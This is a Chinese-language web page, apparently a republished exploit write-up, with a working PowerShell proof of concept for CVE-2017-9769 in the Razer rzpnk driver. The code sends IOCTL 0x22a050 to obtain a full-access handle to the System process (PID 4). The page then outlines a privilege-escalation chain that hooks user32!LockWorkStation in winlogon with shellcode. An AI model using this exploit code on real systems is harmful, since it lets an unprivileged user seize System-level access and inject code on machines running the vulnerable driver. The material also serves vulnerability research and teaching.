返回介绍

ZwOpenProcess POC (CVE-2017-9769)

发布于 2025-01-03 23:32:58 字数 3219 浏览 0 评论 0 收藏 0

我们不会在该函数上浪费太多时间,该漏洞很容易被证明。我们知道函数需要两个 QWORD 作为输入参数,从 Spencer 的 exp 中可以看到他 pack 了一个 pid 和 null 作为 QWORD。我们可以用下面的 POC 快速复制。

Add-Type -TypeDefinition @"
using System;
using System.Diagnostics;
using System.Runtime.InteropServices;
using System.Security.Principal;
   
public static class Razer
{
  [DllImport("kernel32.dll", CharSet = CharSet.Auto, SetLastError = true)]
  public static extern IntPtr CreateFile(
    String lpFileName,
    UInt32 dwDesiredAccess,
    UInt32 dwShareMode,
    IntPtr lpSecurityAttributes,
    UInt32 dwCreationDisposition,
    UInt32 dwFlagsAndAttributes,
    IntPtr hTemplateFile);
   
  [DllImport("Kernel32.dll", SetLastError = true)]
  public static extern bool DeviceIoControl(
    IntPtr hDevice,
    int IoControlCode,
    byte[] InBuffer,
    int nInBufferSize,
    IntPtr OutBuffer,
    int nOutBufferSize,
    ref int pBytesReturned,
    IntPtr Overlapped);
 
  [DllImport("kernel32.dll", SetLastError = true)]
  public static extern IntPtr VirtualAlloc(
    IntPtr lpAddress,
    uint dwSize,
    UInt32 flAllocationType,
    UInt32 flProtect);
}
"@
 
#----------------[Get Driver Handle]
 
$hDevice = [Razer]::CreateFile("\\.\47CD78C9-64C3-47C2-B80F-677B887CF095", [System.IO.FileAccess]::ReadWrite,
[System.IO.FileShare]::ReadWrite, [System.IntPtr]::Zero, 0x3, 0x40000080, [System.IntPtr]::Zero)
 
if ($hDevice -eq -1) {
  echo "`n[!] Unable to get driver handle..`n"
  Return
} else {
  echo "`n[>] Driver access OK.."
  echo "[+] lpFileName: \\.\47CD78C9-64C3-47C2-B80F-677B887CF095 => rzpnk"
  echo "[+] Handle: $hDevice"
}
 
#----------------[Prepare buffer & Send IOCTL]
 
# Input buffer
$InBuffer = @(
  [System.BitConverter]::GetBytes([Int64]0x4) + # PID 4 = System = 0x0000000000000004
  [System.BitConverter]::GetBytes([Int64]0x0)   # 0x0000000000000000
)
 
# Output buffer 1kb
$OutBuffer = [Razer]::VirtualAlloc([System.IntPtr]::Zero, 1024, 0x3000, 0x40)
 
# Ptr receiving output byte count
$IntRet = 0
 
#=======
# 0x22a050 - ZwOpenProcess
#=======
$CallResult = [Razer]::DeviceIoControl($hDevice, 0x22a050, $InBuffer, $InBuffer.Length, $OutBuffer, 1024, [ref]$IntRet, [System.IntPtr]::Zero)
if (!$CallResult) {
  echo "`n[!] DeviceIoControl failed..`n"
  Return
}
 
#----------------[Read out the result buffer]
echo "`n[>] Call result:"
"{0:X}" -f $([System.Runtime.InteropServices.Marshal]::ReadInt64($OutBuffer.ToInt64()))
"{0:X}" -f $([System.Runtime.InteropServices.Marshal]::ReadInt64($OutBuffer.ToInt64()+8))

运行 POC,得到下面的输出。

如果我们查看返回的两个 QWORD 值的话就会发现,第一个是我们传入的 PID 值,而第二个是一个句柄。当我们在 PowerShell 进程中查看返回的句柄时,可以看到如下的内容。

游戏也就通关了,我们有一个对 System pid 完全访问权限的句柄,这意味着我们可以从该进程空间中任意读写。Spencer 的 exp 中的方法起始就是:

  1. 获取一个到 winlogon 的句柄
  2. hook user32!LockWorkStation,钩住我们的 shellcode
  3. 锁住用户会话
  4. 利用

如果你对这篇内容有疑问,欢迎到本站社区发帖提问 参与讨论,获取更多帮助,或者扫码二维码加入 Web 技术交流群。

扫码二维码加入Web技术交流群

发布评论

需要 登录 才能够评论, 你可以免费 注册 一个本站的账号。
列表为空,暂无数据
    我们使用 Cookies 和其他技术来定制您的体验包括您的登录状态等。通过阅读我们的 隐私政策 了解更多相关信息。 单击 接受 或继续使用网站,即表示您同意使用 Cookies 和您的相关数据。
    原文